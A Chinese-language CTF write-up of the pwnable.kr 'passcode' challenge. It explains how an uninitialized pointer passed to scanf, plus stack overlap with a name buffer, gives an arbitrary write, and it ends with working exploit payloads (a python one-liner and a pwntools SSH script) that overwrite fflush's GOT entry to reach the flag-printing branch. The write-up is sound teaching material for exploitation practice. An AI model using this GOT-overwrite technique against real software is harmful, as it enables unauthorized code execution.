这道题目,从描述来看说是写了一个密码登录系统,编译时有warning无error,题目信息如下:

​ 还是通过ssh链接查看题目内容,ssh passcode@pwnable.kr -p2222 (pw:guest),题目里的东西还是老几样,重点关注文件权限:

​ 然后查看passcode.c源码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

分析:

  1. 从能成功flag处逆着看,首先要满足两个条件passcode1和psscode2的值为两个给定的值338150(0x528e6)和13371337(0xcc07c9)
  2. passcode1和passcode2通过scanf()输入,但是这里程序写错,未使用&来取变量地址,所以会把这两个变量的值直接作为地址来存储输入的内容,两个变量初始化时未赋值,所以值是随机的
  3. 要想利用,那么就要想办法覆盖passcode1和passcode2的值,来控制scanf()对任意地址写入数据。

解法思路:

  1. welcome()和login()是两个连续调用的函数,所以对于栈空间的利用是会有部分重叠的,name限定了100字节的大小,可以考虑是否可以在这100个字节内修改道passcode1和passcode2的初始值,使其变得不随机。

    这里先把passcode通过pwntools下载到本地进行调试(passcode.c和passcode有读取权限,而flag没有,所以想直接下载flag到本地是不可以的),利用到的代码如下:

    1
    2
    3
    4
    from pwn import *
    if __name__=="__main__":
    shell = ssh(host='pwnable.kr',user='passcode',port=2222,password='guest')
    shell.download_file('passcode')

下载后进行调试,已经分析过了,所以这里直接查看welcode和login反编译,查看到name和passcode1、passcode2的位置来计算偏移即可:

welcode():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Dump of assembler code for function welcome:
0x08048609 <+0>: push ebp
0x0804860a <+1>: mov ebp,esp
0x0804860c <+3>: sub esp,0x88
0x08048612 <+9>: mov eax,gs:0x14
0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax
0x0804861b <+18>: xor eax,eax
0x0804861d <+20>: mov eax,0x80487cb
0x08048622 <+25>: mov DWORD PTR [esp],eax
0x08048625 <+28>: call 0x8048420 <printf@plt>
0x0804862a <+33>: mov eax,0x80487dd
0x0804862f <+38>: lea edx,[ebp-0x70]
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx
0x08048636 <+45>: mov DWORD PTR [esp],eax
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804863e <+53>: mov eax,0x80487e3
0x08048643 <+58>: lea edx,[ebp-0x70]
0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx
0x0804864a <+65>: mov DWORD PTR [esp],eax
0x0804864d <+68>: call 0x8048420 <printf@plt>
0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc]
0x08048655 <+76>: xor eax,DWORD PTR gs:0x14
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
End of assembler dump.

​ login():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Dump of assembler code for function login:
0x08048564 <+0>: push ebp
0x08048565 <+1>: mov ebp,esp
0x08048567 <+3>: sub esp,0x28
0x0804856a <+6>: mov eax,0x8048770
0x0804856f <+11>: mov DWORD PTR [esp],eax
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov eax,0x8048783
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov eax,ds:0x804a02c
0x08048590 <+44>: mov DWORD PTR [esp],eax
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov eax,0x8048786
0x0804859d <+57>: mov DWORD PTR [esp],eax
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov eax,0x8048783
0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc]
0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx
0x080485b1 <+77>: mov DWORD PTR [esp],eax
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: mov DWORD PTR [esp],0x0
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.

​ 从反编译的代码中,可以看到name和passcode1相对于ebp的偏移分别为ebp-0x70、ebp-0x10。因为栈空间是平衡的,所以进入welcome()和login()后,ebp的位置在程序栈空间中都是一个地址。那么很容易我们可以在赋值name时先填充0x60的数据比如’A’,然后填充一个想要去赋值的四字节地址,就可以达到对任意地址的写入了。

​ 接着分析,这种情况下就考虑直接去GOT中替换程序中用到的某个函数比如fflush(),即把passcode1替换为fflush()的地址,然后在scanf(“%d”,passcode1)时输入printf(“Login OK!\n”)所在地址,然后call fflush()时就可以直接跳过验证流程cat flag。

​ 查看一下passcode开启的保护,并未开启NX,那就可以直接查地址使用即可,不用再leaklibc了:

​ oledump找到fflush()地址:

​ 构造exp,两种方式利用:

  • ssh直接链接利用:
1
2
#payload
python2 -c "print 'A'*0x60+'\x04\xa0\x04\x08'+str(0x080485d7)" | ./passcode

  • 使用pwntools利用:
1
2
3
4
5
6
7
8
9
from pwn import *
if __name__=="__main__":
shell = ssh(host='pwnable.kr',user='passcode',port=2222,password='guest')
fflushAddr = 0x0804a004
loginAddr = 0x080485d7
p = shell.process('passcode')
payload='A'*0x60 + p32(fflushAddr)+str(loginAddr)
p.send(payload)
p.interactive()